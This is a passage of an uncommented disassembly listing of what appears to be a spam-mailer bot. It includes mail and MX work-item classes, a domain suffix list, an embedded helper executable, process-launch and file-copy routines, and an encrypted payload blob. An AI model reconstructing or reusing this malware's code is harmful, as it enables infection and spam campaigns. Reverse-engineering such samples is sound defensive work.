		dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2	dup(0)
dword_424160	dd 0FFFFFFFEh	dword_424164	dd 0FFFFFFFEh						; sub_419B1B:loc_419B44r ...
		align 10h
off_424170	dd offset off_41C308	; DATA XREF: .vty:0041F370o
		align 8
a_?av?Sha@k0ka@	db '.?AV?$SHA@K$0KA@$0CAA@$0FA@$0KA@@@',0
		align 4
off_42419C	dd offset off_41C308	; DATA XREF: .vty:0041F34Co
					; .vty:0041F3A4o
		dd 0
		dd 56413F2Eh, 31414853h, 40403036h, 0
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
		dd offset dword_41DFB4
off_4241E0	dd offset off_41C308	; DATA XREF: .vty:0041F2A4o
					; .vty:0041F3F0o ...
		align 8
a_?avexception@	db '.?AVexception@std@@',0
off_4241FC	dd offset off_41C308	; DATA XREF: .vty:0041F3CCo
					; .vty:0041F424o ...
		dd 0
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
off_424218	dd offset off_41C308	; DATA XREF: .vty:0041F49Co
					; .vty:0041F4C0o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_424238	dd offset off_41C308	; DATA XREF: .vty:0041F44Co
					; .vty:0041F474o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_424258	dd offset off_41C308	; DATA XREF: .vty:0041F4E8o
					; .vty:0041F50Co
		align 10h
a_?avmailproxyl	db '.?AVMailProxyLockWorkItem@@',0
off_42427C	dd offset off_41C308	; DATA XREF: .vty:0041F534o
					; .vty:0041F558o
		dd 0
a_?avmaildomain	db '.?AVMailDomainDirectWorkItem@@',0
		align 4
off_4242A4	dd offset off_41C308	; DATA XREF: .vty:0041F580o
					; .vty:0041F5A4o
		dd 0
a_?avresolvemxw	db '.?AVResolveMxWorkItem@@',0
off_4242C4	dd offset off_41C308	; DATA XREF: .vty:0041F5CCo
		dd 0
		dd 56413F2Eh, 6C69614Dh, 40746F42h, 40h
off_4242DC	dd offset off_41C308	; DATA XREF: .vty:0041F634o
					; .vty:0041F654o
		dd 0
		dd 56413F2Eh, 6B726F57h, 6D657449h, 4040h
off_4242F4	dd offset off_41C308	; DATA XREF: .vty:0041F5F0o
					; .vty:0041F688o
		dd 0
a_?avicommclien	db '.?AVICommClient@@',0
		align 10h
off_424310	dd offset aCom		; DATA XREF: sub_402E64+A8r
					; sub_402E64+AEo
					; "com"
		dd offset aNet		; "net"
		dd offset aBiz		; "biz"
		dd offset aInfo		; "info"
		dd offset aOrg		; "org"
		dd offset aEdu		; "edu"
		dd offset aPl		; "pl"
		dd offset aCa		; "ca"
		dd 0
off_424334	dd offset off_41C308	; DATA XREF: .vty:0041FF0Co
		dd 0
a_?aucommerror@	db '.?AUCommError@@',0
off_42434C	dd offset off_41C308	; DATA XREF: .vty:0041F6B0o
					; .vty:0041F6D8o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd 5 dup(0)
dword_424380	dd 2D6BA7F5h						; sub_40DCD8+3r
dword_424384	dd 0							; .vty:loc_41B6A9w ...
		align 10h
dword_424390	dd 0							; sub_40DE68+32w
dword_424394	dd 0							; sub_4154DB:loc_4154EDr ...
		dd 0
dword_42439C	dd 0							; sub_419AD5+15r ...
dword_4243A0	dd 2D2AB9D7h						; sub_41219F+51r ...
dword_4243A4	dd 51EB30B5h						; sub_41219F+3Dw ...
dword_4243A8	dd 51EB3C30h						; sub_411F7A+44r ...
dword_4243AC	dd 51EA9122h						; sub_41219F+5Ew ...
dword_4243B0	dd 0							; sub_412323+29r ...
dword_4243B4	dd 0		dword_4243B8	dd 2							; sub_412542:loc_41256Ar ...
dword_4243BC	dd 0A28h	dword_4243C0	dd 501h		dword_4243C4	dd 5							; sub_412579+30r
dword_4243C8	dd 1		dword_4243CC	dd 1		dword_4243D0	dd 383480h			align 8
dword_4243D8	dd 3834A0h						; sub_4154DB:loc_4155A0r ...
		dd 3 dup(0)
off_4243E8	dd offset aCM_unpackerPac ; DATA XREF: sub_41574E+37w
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_4243F0	db 0			; DATA XREF: sub_412647+2Cw
					; sub_413B39+5r
		align 4
dword_4243F4	dd 0		dword_4243F8	dd 0							; sub_412647+A0w
dword_4243FC	dd 0		dword_424400	dd 0		dword_424404	dd 2D6BA7F5h	dword_424408	dd 0							; sub_412EA5+1Dw ...
word_42440C	dw 0			; DATA XREF: sub_4130CA+E7w
		align 10h
		dd 2 dup(0)
dword_424418	dd 4E4h		dword_42441C	dd 0		dword_424420	dd 0		dword_424424	dd 0				dd 8 dup(0)
dword_424448	dd 1							; sub_4135A3+3Aw ...
dword_42444C	dd 0							; sub_417A72w
dword_424450	dd 6 dup(0)			db 0
byte_424469	db 3 dup(0)		; DATA XREF: sub_41422C+8Ao
		dd 40h dup(0)
		db 0
byte_42456D	db 0			; DATA XREF: sub_41422C+92w
		align 10h
		dd 7Dh dup(0)
dword_424764	dd 2 dup(0)	dword_42476C	dd 2D6BA7F5h	aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41574E+1Do
					; .vty:off_4243E8o
		align 4
		dd 3Ah dup(0)
byte_424874	db 0			; DATA XREF: sub_41574E+24w
		align 4
dword_424878	dd 1							; sub_415807+24w ...
dword_42487C	dd 380000h						; sub_411069+72r ...
dword_424880	dd 0							; sub_415D79+11w ...
byte_424884	db 0			; DATA XREF: sub_415D0D:loc_415D46r
					; sub_415D79+17w ...
		align 4
dword_424888	dd 2D2ACDBDh						; sub_416ACB+Bw
		align 10h
dword_424890	dd 0							; .vty:off_41CE1Co
dword_424894	dd 0				dd 0
dword_42489C	dd 0				dd 10h dup(0)
dword_4248E0	dd 0							; sub_416B2C+DFr
		align 8
dword_4248E8	dd 0							; .vty:0041CE20o
		dd 22h dup(0)
word_424974	dw 0			; DATA XREF: sub_416B2C+4Fw
		align 4
word_424978	dw 0			; DATA XREF: sub_416B2C+48w
		align 4
word_42497C	dw 0			; DATA XREF: sub_416B2C+41w
		align 10h
word_424980	dw 0			; DATA XREF: sub_416B2C+3Aw
		align 4
dword_424984	dd 0		dword_424988	dd 0		dword_42498C	dd 0		dword_424990	dd 0		dword_424994	dd 0		dword_424998	dd 0		dword_42499C	dd 0		dword_4249A0	dd 0							; sub_416B2C+85r
word_4249A4	dw 0			; DATA XREF: sub_416B2C+33w
		align 4
dword_4249A8	dd 0		dword_4249AC	dd 0		word_4249B0	dw 0			; DATA XREF: sub_416B2C+2Cw
		align 4
		dd 81h dup(0)
dword_424BB8	dd 146218h, 0FFFFFFFFh,	4 dup(0)					; .vty:off_423CC0o
dword_424BD0	dd 146240h, 0FFFFFFFFh,	4 dup(0)dword_424BE8	dd 146268h, 0FFFFFFFFh,	4 dup(0)		db 90h
		db 62h,	14h, 0
		dd 0FFFFFFFFh, 4 dup(0)
dword_424C18	dd 1462B8h, 0FFFFFFFFh,	4 dup(0)		dd 1462E0h, 0FFFFFFFFh,	4 dup(0)
		dd 146308h, 0FFFFFFFFh,	4 dup(0)
dword_424C60	dd 146330h, 0FFFFFFFFh,	4 dup(0)dword_424C78	dd 146358h, 0FFFFFFFFh,	4 dup(0)		dd 146380h, 0FFFFFFFFh,	4 dup(0)
		dd 1463A8h, 0FFFFFFFFh,	4 dup(0)
dword_424CC0	dd 1463D0h, 0FFFFFFFFh,	4 dup(0)		dd 1463F8h, 0FFFFFFFFh,	4 dup(0)
		dd 146420h, 0FFFFFFFFh,	4 dup(0)
dword_424D08	dd 0							; sub_416E4A+21Cr ...
dword_424D0C	dd 0							; sub_417D65+CAr ...
dword_424D10	dd 0		dword_424D14	dd 2D6BA7F5h						; sub_4180F8:loc_418141o ...
dword_424D18	dd 2D6BA7F5h						; sub_4180F8:loc_418197o ...
dword_424D1C	dd 2D6BA7F5h	dword_424D20	dd 2D6BA7F5h						; sub_4180F8:loc_4181A3o ...
		align 8
dword_424D28	dd 2D6BA7F5h	dword_424D2C	dd 51EB1FDCh						; sub_4182CC+11r ...
		dd 0Fh dup(0)
dword_424D6C	dd 1							; sub_41844E+37w ...
dword_424D70	dd 0							; .vty:off_423EE0o ...
dword_424D74	dd 0		dword_424D78	dd 0		; resolved to->USER32.MessageBoxA					; sub_419937+60w ...
dword_424D7C	dd 0		; resolved to->USER32.MessageBoxA					; sub_419937:loc_419A85r
dword_424D80	dd 0		; resolved to->USER32.MessageBoxA					; sub_419937+167r
dword_424D84	dd 0		; resolved to->USER32.GetProcessWindowStation					; sub_419937:loc_419A0Cr
dword_424D88	dd 0		; resolved to->USER32.GetUserObjectInformationA					; sub_419937+E1r ...
		dd 31h dup(0)
dword_424E50	dd 0		dword_424E54	dd 0							; sub_4024A7+19w ...
dword_424E58	dd 6 dup(0)	dword_424E70	dd 0		dword_424E74	dd 0							; .vty:0041B694r ...
dword_424E78	dd 0		dword_424E7C	dd 0		dword_424E80	dd 0							; sub_40499E+C1r ...
dword_424E84	dd 0							; sub_401156+13o ...
dword_424E88	dd 0							; sub_4010E1+3Fo
		dd 3 dup(0)
dword_424E98	dd 0							; sub_401156:loc_401195r ...
dword_424E9C	dd 0							; sub_401156+25w
dword_424EA0	dd 0							; sub_401156+1Aw
dword_424EA4	dd 0							; sub_403C76+82r ...
dword_424EA8	dd 0							; sub_403C76+1Bw
dword_424EAC	dd 0							; sub_416E1Fr ...
dword_424EB0	dd 0							; sub_416E1F+6r ...
dword_424EB4	dd 0							; sub_416DD7+36w ...
dword_424EB8	dd 0							; sub_416E4A+2FCw ...
dword_424EBC	dd 0							; sub_41715Er ...
dword_424EC0	dd 0							; sub_416E4A+249r ...
dword_424EC4	dd 1							; sub_41112C+13r ...
dword_424EC8	dd 20h							; sub_414CF9+35r ...
		dd 5 dup(0)
dword_424EE0	dd 3820B0h						; sub_413A88+87r ...
		dd 3Fh dup(0)
dword_424FE0	dd 0							; sub_413A88+44w ...
		dd 7 dup(0)
dword_425000	dd 400h	dup(0)						; .vty:004238A8o
dword_426000	dd 0							; sub_413A88:loc_413AA2w ...
dword_426004	dd 0		dword_426008	dd 0							; sub_410050+28r ...
dword_42600C	dd 0		dword_426010	dd 1		dword_426014	dd 0							; sub_40DAA8+9Bw ...
dword_426018	dd 0							; sub_40DAA8+87w ...
dword_42601C	dd 1							; sub_413264+11w ...
dword_426020	dd 0		dword_426024	dd 0							; sub_4125B5+74o ...
dword_426028	dd 142340h						; sub_41547E:loc_41548Fr ...
dword_42602C	dd 0		dword_426030	dd 0							; .vty:004104A4o ...
		dd 3F5h	dup(0)
		dd 4, 10001h, 800000A0h, 80000020h, 18h, 80000038h, 2 dup(0)
		dd 4, 10000h, 65h, 80000050h, 2	dup(0)
		dd 4, 10000h, 1, 80000068h, 2 dup(0)
		dd 4, 10000h, 415h, 80h, 2 dup(0)
		dd 4, 10000h, 409h, 90h, 270B4h, 0A00h,	4E4h, 0
		dd 27AB4h, 56h,	4E4h, 0
aRt_helper_0:
		dw 9
		unicode	0, <RT_HELPER>
aMzr		db 'MZ',0
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0C0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0CEA62459h, 3 dup(9DC8451Dh), 9D954ADEh, 9DC84518h
		dd 9DC9451Dh, 9DC84516h, 9DBA833Ah, 9DC8451Ch, 9DB0833Ah
		dd 9DC8451Ch, 68636952h, 9DC8451Dh, 2 dup(0)
		dd 4550h, 2014Ch, 480279E2h, 2 dup(0)
		dd 10300E0h, 8010Bh, 200h, 400h, 0
		dd 10C0h, 1000h, 2000h,	400000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 3000h, 400h,	0
		dd 4000002h, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 2078h, 3Ch, 8 dup(0)
		dd 2040h, 1Ch, 0Ah dup(0)
		dd 2000h, 34h, 6 dup(0)
		dd 7865742Eh, 74h, 11Dh, 1000h,	200h, 400h, 3 dup(0)
		dd 60000020h, 6164722Eh, 6174h,	208h, 2000h, 400h, 600h
		dd 3 dup(0)
		dd 40000040h, 7Eh dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4274B4	proc near		; CODE XREF: .vty:004275A2p
					; .vty:004275C2p

var_454		= dword	ptr -454h
var_428		= dword	ptr -428h
var_424		= word ptr -424h
var_410		= byte ptr -410h
var_400		= byte ptr -400h

		sub	esp, 454h
		push	edi
		push	eax
		lea	ecx, [esp+45Ch+var_400]
		push	ecx
		call	dword ptr loc_402024
		push	40205Ch
		lea	edx, [esp+45Ch+var_400]
		push	edx
		call	dword ptr loc_402010
		mov	edi, dword ptr loc_40201F+1
		lea	eax, [esp+458h+var_400]
		push	eax
		call	edi
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_4274F5
		cmp	byte ptr [esi+1], 58h
		jnz	short loc_4274F5
		cmp	byte ptr [esi+2], 0
		jz	short loc_427566


loc_4274F5:				; CODE XREF: sub_4274B4+33j
					; sub_4274B4+39j
		push	0
		lea	ecx, [esp+45Ch+var_400]
		push	ecx
		push	esi
		call	dword ptr loc_402018
		push	6
		lea	edx, [esp+45Ch+var_400]
		push	edx
		call	dword ptr loc_40201C
		lea	eax, [esp+458h+var_454]
		push	eax
		mov	[esp+45Ch+var_454], 44h
		call	dword ptr loc_402013+1
		lea	ecx, [esp+458h+var_410]
		push	ecx
		lea	edx, [esp+45Ch+var_454]
		push	edx
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [esp+478h+var_400]
		push	eax
		push	0
		mov	[esp+480h+var_428], 1
		mov	[esp+480h+var_424], 0
		call	dword ptr loc_40200A+2
		test	eax, eax
		jz	short loc_427566
		push	esi
		call	edi
		mov	al, 1
		pop	edi
		add	esp, 454h
		retn
; ---------------------------------------------------------------------------


loc_427566:				; CODE XREF: sub_4274B4+3Fj
					; sub_4274B4+A3j
		xor	al, al
		pop	edi
		add	esp, 454h
		retn
sub_4274B4	endp

; ---------------------------------------------------------------------------
		db 4 dup(0CCh)
; ---------------------------------------------------------------------------
		sub	esp, 400h
		push	esi
		push	4E20h
		call	dword ptr loc_402008
		call	dword ptr loc_402003+1
		mov	esi, eax
		push	400h
		lea	eax, [esp+8]
		push	eax
		call	dword ptr loc_402000
		lea	eax, [esp+4]
		call	sub_4274B4
		test	al, al
		jnz	short loc_4275C7
		lea	ecx, [esp+4]
		push	ecx
		push	0
		push	0
		push	1Ch
		push	0
		call	dword ptr loc_40202C
		lea	eax, [esp+4]
		call	sub_4274B4


loc_4275C7:				; CODE XREF: .vty:004275A9j
		xor	eax, eax
		pop	esi
		add	esp, 400h
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 38h dup(0)
		dd 20E8h, 2100h, 2112h,	211Ah, 212Ch, 2138h, 214Ah, 2156h
		dd 216Ch, 217Ah, 0
		dd 2194h, 5 dup(0)
		dd 480279E2h, 0
		dd 2, 54h, 21B4h, 7B4h,	7379735Ch, 336D6574h, 6E6D5C32h
		dd 77317765h, 34636E69h, 6578652Eh, 0
		dd 20B4h, 2 dup(0)
		dd 2186h, 2000h, 20E0h,	2 dup(0)
		dd 21A8h, 202Ch, 5 dup(0)
		dd 20E8h, 2100h, 2112h,	211Ah, 212Ch, 2138h, 214Ah, 2156h
		dd 216Ch, 217Ah, 0
		dd 2194h, 0
		dd 654701F3h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 4179h, 65470110h, 6D6F4374h,	646E616Dh, 656E694Ch, 3560041h
		dd 65656C53h, 660070h, 61657243h, 72506574h, 7365636Fh
		dd 4173h, 736C03BDh, 61637274h,	4174h, 654701B7h, 61745374h
		dd 70757472h, 6F666E49h, 430041h, 79706F43h, 656C6946h
		dd 3190041h, 46746553h,	41656C69h, 69727474h, 65747562h
		dd 4173h, 65440083h, 6574656Ch,	656C6946h, 3C60041h, 7274736Ch
		dd 41797063h, 454B0000h, 4C454E52h, 642E3233h, 6C6Ch, 485300AFh
		dd 46746547h, 65646C6Fh, 74615072h, 4168h, 4C454853h, 2E32334Ch
		dd 6C6C64h, 53445352h, 0AD6D417Dh, 4A23D50Fh, 0EDF0B4h
		dd 9EB4EB35h, 1, 4D5C3A68h, 45545341h, 4D5C5352h, 656C6961h
		dd 4E5C3372h, 535C5745h, 616D534Dh, 72656C69h, 69614D5Ch
		dd 3372656Ch, 6C65725Ch, 65736165h, 6C65485Ch, 2E726570h
		dd 626470h, 7Eh	dup(0)
aAssemblyXmlnsU	db '<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersio'
		db 'n="1.0">',0Dh,0Ah
		db '</assembly>PA',0
		align 10h
		dd 13Ch	dup(0)
		dd 7C80B6A1h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h
		dd 4 dup(0)
		dd 280A4h, 28000h, 0
		dd 42C2C8A1h, 0
		dd 280F9h, 28030h, 0
		dd 76F36C5Bh, 0
		dd 28113h, 28044h, 0
		dd 71AB615Ah, 0
		dd 28129h, 28058h, 0
		dd 7E41BD76h, 0
		dd 28134h, 2806Ch, 0
		dd 77DD6BF0h, 0
		dd 2814Ch, 28080h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 74654700h, 75646F4Dh
		dd 6148656Ch, 656C646Eh, 65470041h, 6F725074h, 64644163h
		dd 73736572h, 72695600h, 6C617574h, 6F6C6C41h, 69560063h
		dd 61757472h, 6572466Ch, 69560065h, 61757472h, 6F72506Ch
		dd 74636574h, 4E495700h, 54454E49h, 6C6C642Eh, 746E4900h
		dd 656E7265h, 65704F74h, 4400416Eh, 5041534Eh, 6C642E49h
		dd 6E44006Ch, 65755173h, 415F7972h, 32535700h, 2E32335Fh
		dd 6C6C64h, 52455355h, 642E3233h, 47006C6Ch, 75437465h
		dd 726F7372h, 736F50h, 41564441h, 32334950h, 6C6C642Eh
		dd 67655200h, 736F6C43h, 79654B65h, 0
		dd 8E962600h, 0BC180000h, 9E4B34BAh, 83C404B9h,	0E21003C9h
		dd 11726ADFh, 482DE040h, 6D5CB5B3h, 6792A8DEh, 0D23E65C0h
		dd 0F923315Ah, 0D879C3F2h, 0D9887FC1h, 2C098828h, 0DB3992C0h
		dd 90253F6Ah, 0A9787B5Eh, 7EF66BE9h, 0F3977F67h, 0E008D2E1h
		dd 8D2E257Dh, 0D29AA7DBh, 68FD3CAAh, 838585F9h,	4BC8CD9Ch
		dd 0B725E0h, 0FF39CCA0h, 0B205D4Ah, 0CE406234h,	0A68332DCh
		dd 57594121h, 3AEE11Bh,	50B9A09Dh, 0C8869026h, 0F8F2E7EAh
		dd 355F10EEh, 0A731E2A9h, 80B34CB0h, 0B1B1F7E7h, 0FBEA53Dh
		dd 22E768B5h, 0FB1A2051h, 93F3DC1Bh, 0C5E375Ah,	0DCF23EFBh
		dd 0FE8C07B7h, 0C6F30F54h, 0FA56E082h, 76B6F10Ah, 0A57557ACh
		dd 61828DDDh, 0A31A9C83h, 88B6E2F3h, 8E410636h,	848B1459h
		dd 233C71E7h, 58FD62D8h, 3ECDEDB2h, 7521B115h, 2298B0D8h
		dd 6728511Ah, 6A2B6F3Ch, 71712CC7h, 698DEE3Fh, 0F9A96236h
		dd 42AA7AECh, 20D4E98Dh, 0AA5D94h, 0B5BFF5DBh, 5FDCCA91h
		dd 763A869Eh, 0DBCA3080h, 0A58D925Fh, 3B298B8Eh, 877BD378h
		dd 8D8EAB79h, 0D435B248h, 9E8C9AECh, 1B0F58CAh,	8807F070h
		dd 19FC9FE7h, 1000DD3Fh, 0C78E0000h, 63000000h,	220C4E80h
		dd 0BEFD4118h, 23DD5ACDh, 8C2DF6ECh, 0E94C8C72h, 6F2B15AFh
		dd 96CC39EDh, 4008AC72h, 0F993A875h, 0B3D06035h, 26E5687h
		dd 389B2697h, 0C49F8F89h, 34C237D1h, 8207A06Fh,	6C9E8F58h
		dd 0E2351AE4h, 0A0617726h, 0C2A6DE12h, 4BA35EFEh, 0AC2BCC0Eh
		dd 4B3B6487h, 7340CB32h, 7F2481BCh, 0EA47D94Fh,	0C363CE96h
		dd 0C798483Eh, 0DD4D1A0h, 0CFD41923h, 85D6A99h,	8D02C92Dh
		dd 6E849489h, 0F047A9F1h, 0DF22FF53h, 0C4406107h, 6A7EF01Bh
		dd 260D2DE3h, 4C79B949h, 4BADAEA4h, 5A04E603h, 0C2234F51h
		dd 0C6D17BF6h, 0BA04D211h, 0DAD6BF1Fh, 0CF734A84h, 7C8A0006h
		dd 6042B76h, 0B7C82F8Dh, 0CF3F2AB4h, 39DA3930h,	72D9C3B0h
		dd 0DC47D8AEh, 0E88174A3h, 87311DE2h, 0D5E1107Ah, 672049B2h
		dd 21AE0EFAh, 92B0B24Eh, 0D6969DE5h, 0DF69E025h, 0FE09B9D1h
		dd 0E13ED768h, 3D76E365h, 86E0735Ch, 0B91205B1h, 69D3F477h
		dd 46A4F6AEh, 0B8243049h, 0FFA9DD4Dh, 1C8A9FD5h, 0C8DFC03h
		dd 0C73F2CA3h, 986EC800h, 0E897E343h, 77E26478h, 0FCDA6751h
		dd 84DDA7C4h, 0B7F59042h, 85466E62h, 0ACC6C1E0h, 9AF084D5h
		dd 0B52E0B76h, 0A89B301Ch, 0DA30747Ah, 283712F1h, 0EB0C6F40h
		dd 0BE3F7724h, 0B975AF8Dh, 41E815B3h, 456A1859h, 65CD1C7Bh
		dd 8B18B37h, 278C2285h,	50CC2646h, 77B56DE2h, 0C51A3517h
		dd 0CBC10F9Ah, 5B579A04h, 2803DF66h, 2DE0C0Fh, 0D8F13A35h
		dd 310AD1C8h, 9A832486h, 0C728EE12h, 640C3384h,	1C71B312h
		dd 13AE6810h, 6B2D48FFh, 0D2D445E2h, 5682664h, 0F0484B4Fh
		dd 74739030h, 8B33CB33h, 0DB0FA4F4h, 0E155C437h, 0EADBA2F6h
		dd 7EB8AB48h, 0BB793680h, 8C5637DAh, 0D506123Ah, 0DC5FC2C2h
		dd 2975F73Eh, 0CACDAE06h, 6A57EB4h, 0D8A21C68h,	8C148A50h
		dd 0F9D1FDD5h, 0F64B3233h, 7107D0FAh, 0CD09E701h, 32D84A86h
		dd 9B8361DCh, 2512F27Bh, 0D2539BAh, 9562E9B4h, 29B1E198h
		dd 0BC0491EBh, 91F06732h, 9A486677h, 0E1A099E5h, 1B79A040h
		dd 18060285h, 801D1DC2h, 0F9189D02h, 0DEDC3884h, 0B52028FBh
		dd 0B626F88h, 6B63B2ADh, 0DA2DCB4Dh, 0AD6AB643h, 0ACB6799Dh
		dd 6730827Bh, 4B8AE9F4h, 2EF7E7A8h, 94409796h, 0B3321AD4h
		dd 0E227FE5Bh, 0BFF799F8h, 0D0F4AD80h, 487AB99Dh, 609DABB9h
		dd 0DE9CF6B9h, 0DA81B7B8h, 6DC5C92Eh, 0A719FB09h, 0A048B8E2h
		dd 9C191114h, 7775FB7Fh, 8C87843Eh, 8C3C14F7h, 9C38F247h
		dd 9DF91252h, 5913D910h, 4C55CD03h, 2025EC3Eh, 0E674F481h
		dd 35551AF8h, 0B6307299h, 9380383Bh, 42381305h,	0FB5344EEh
		dd 295C21FEh, 214B51E4h, 9769FF7Ah, 19CDD14Bh, 0C21B40A2h
		dd 0D13545FDh, 0FB67E1C5h, 0D53E314Ch, 79D3FC91h, 0E4A2664Dh
		dd 89535F40h, 47751409h, 691D1A7Ch, 7C40D292h, 0A1B7D44Fh
		dd 3923F6F2h, 7C80D7A5h, 0DED50F25h, 95BA477Dh,	6E653F93h
		dd 104A02CCh, 3536B8D6h, 8D80B6B7h, 1D7D958Dh, 3A70BC7Fh
		dd 0E4C4BD4Dh, 9DF5315Ah, 3F36561Fh, 81465A20h,	0C2893FC9h
		dd 0CD08C4E3h, 6ABE90D7h, 980FB9CCh, 33AC777Bh,	6BA8D695h
		dd 1D3BA5D8h, 466E3126h, 0BE5A8BC1h, 0AC510313h, 0FCF524DEh
		dd 18C6ABB2h, 79E55D04h, 6F86A619h, 37DC673Ch, 0C4DFF52Ch
		dd 0E81DBA28h, 4DB92B07h, 0C865B69Dh, 725A0B97h, 79BFA4EBh
		dd 0CBFD047Bh, 0CC2F45FDh, 170A0028h, 253A0D37h, 3899884Dh
		dd 1A78709Dh, 399719B7h, 0C7B7A0B0h, 3DC9F217h,	55844101h
		dd 0A25A964Bh, 0BEAACB63h, 307DB628h, 85C042Ah,	0C9107BBFh
		dd 262648B7h, 0C50DCA1Ch, 0FAE170D1h, 0FEF92386h, 6309250Bh
		dd 84F9B36Ch, 2C7D1ABDh, 0C7A36831h, 95211BD2h,	93C84115h
		dd 102A7211h, 480165CFh, 52545981h, 5A35D53Fh, 2D4CEC5Eh
		dd 28AF5DCBh, 8CDA2A78h, 4C8B5CE6h, 493579Dh, 24B405E7h
		dd 5CA35B74h, 23E3188h,	0BECA92D0h, 3D10479Eh, 0D4C58D71h
		dd 5E9CE8EDh, 0B2829636h, 36B93461h, 0BC948FF1h, 0FFF20246h
		dd 8F75F3A4h, 0DFA5BDB5h, 8624CD55h, 42319A95h,	8009D646h
		dd 30AB48A7h, 2DE8D139h, 8D2522D9h, 44A47DAh, 0BB3541A7h
		dd 1633BB4Eh, 82A52EECh, 49169177h, 0EEA476C9h,	0A327423Ah
		dd 9B087554h, 2380C58Dh, 5CF0F1C6h, 0F37D391Eh,	93168757h
		dd 0B780CD13h, 0C80C9BECh, 27E3AB65h, 90EEF235h, 2B4E6444h
		dd 63F60E11h, 6B8F0C9Dh, 26FCF415h, 0B6232C9h, 3366E3B1h
		dd 0FF930787h, 2516A285h, 0DFCD53AEh, 83F90381h, 8764C24Fh
		dd 3E03FAE6h, 3F9F92A3h, 0FE37BF3Eh, 9895C39h, 0EDF83DAh
		dd 6088D4D9h, 0CD9D43F9h, 311F32C7h, 596DF39Eh,	0B6D8E978h
		dd 0A70C623Ch, 30237ACh, 0FC3F73B8h, 0C9F6A18Eh, 21BD52FCh
		dd 7F696A56h, 0F5F79B16h, 8AA26534h, 18D6A5EEh,	3A087DCDh
		dd 3BF07F19h, 8B840220h, 78625DFBh, 831D009h, 316E9802h
		dd 0C11D7F7Eh, 0CC444760h, 0E44D7285h, 66FA5092h, 0DB1CFEB8h
		dd 0BF33AEB3h, 0F2013C67h, 0FA5F9F29h, 505F7D8Bh, 44ACCFB3h
		dd 3CF65392h, 79D5EE3Bh, 695EEC35h, 0B295628Ch,	8CD6E774h
		dd 8EE6F879h, 9150A60Ch, 0DC4D4FF6h, 0A212244Ch, 536A42E5h
		dd 6897600Dh, 0D4F5BDC7h, 9A1EA52Bh, 0EF183CFAh, 2FB0186Eh
		dd 0BA27BBC7h, 281A2FA9h, 420B44F4h, 28F0A113h,	13893AA4h
		dd 793AD110h, 0DA69A084h, 0BC4AA8EAh, 42FA2A7Ah, 0A032AAA8h
		dd 6939460Bh, 0E4D06450h, 0D7F8BB13h, 0E4AFD1E8h, 74725556h
		dd 6BAC99Ah, 1A9BEB0Fh,	619DE579h, 3F6BFBF2h, 9765A504h
		dd 54E5A6Dh, 4DB226D9h,	37774D56h, 9CE92F30h, 6E628382h
		dd 0BB0C46A1h, 64C36EF8h, 0E480A69Dh, 0D15F7573h, 0AEB19A30h
		dd 4060165Eh, 523F991Eh, 0C0996E0h, 2DB9D7BBh, 13BB839Dh
		dd 0C1158D7Fh, 78250DF4h, 3A85D956h, 0AAB45F21h, 0E1ECD4C6h
		dd 661D99F8h, 994049Ah,	95AC9A05h, 1FF964EDh, 0A7D0CE22h
		dd 0EEF50119h, 0D170893h, 97E3C1AAh, 412BDD98h,	24A83E15h
		dd 25AA5B4Ch, 23466174h, 3DE6D623h, 22F4603Ah, 0B52DC98Bh
		dd 7CBCDB06h, 8516F966h, 3DD16905h, 0A4287C0Ah,	7A8EE69h
		dd 0B7FC50C0h, 0A5C6833Bh, 3FF8205Eh, 0C80EA6A9h, 0E3341AECh
		dd 0C4F0F822h, 159F533Fh
		dd 0A1EDFA40h, 0D0E86C4Fh, 35264624h, 41842EFEh, 6799E858h
		dd 0DB6641F7h, 651EF2CBh, 0D9B59C22h, 7BCEBFABh, 0E69CF75h
		dd 97D98942h, 395685A5h, 11042917h, 939A296Dh, 82C3D0E3h
		dd 778B2C3Dh, 0D1BA8226h, 73D9EC81h, 53A68BBFh,	0DD99ED43h
		dd 0C1CF7128h, 4C76A33Eh, 0C06E79CBh, 82C33C8Bh, 0D13B1111h
		dd 7318D3CCh, 62B72236h, 45410E08h, 60101C4Bh, 18F14EB3h
		dd 802C0AE3h, 4C58CDA4h, 113E42C2h, 74E120E5h, 0C713EB2Eh
		dd 0B96303B6h, 0DEC95626h, 1FC0B043h, 2CB97D92h, 0CDA8B9C6h
		dd 0E8836057h, 0F71DA9D7h, 0FBC536F9h, 2FA0D38Ah, 281286B0h
		dd 5E29116Ch, 50A49FD2h, 9098DC4Bh, 0CF591545h,	0F289BE8Dh
		dd 8B3F6197h, 0D3603317h, 8227A557h, 0D03DD75Eh, 29C90FB7h
		dd 70ED839Ch, 0B2955EB7h, 0D5B4F329h, 9075B5FCh, 0C94042EBh
		dd 0C094CF0h, 5023A7Eh,	3F483B59h, 9E8B023Dh, 93C0CAD6h
		dd 2B4317AEh, 23F9304Dh, 0C2938359h, 0F8CE191Ah, 0B375A71Ah
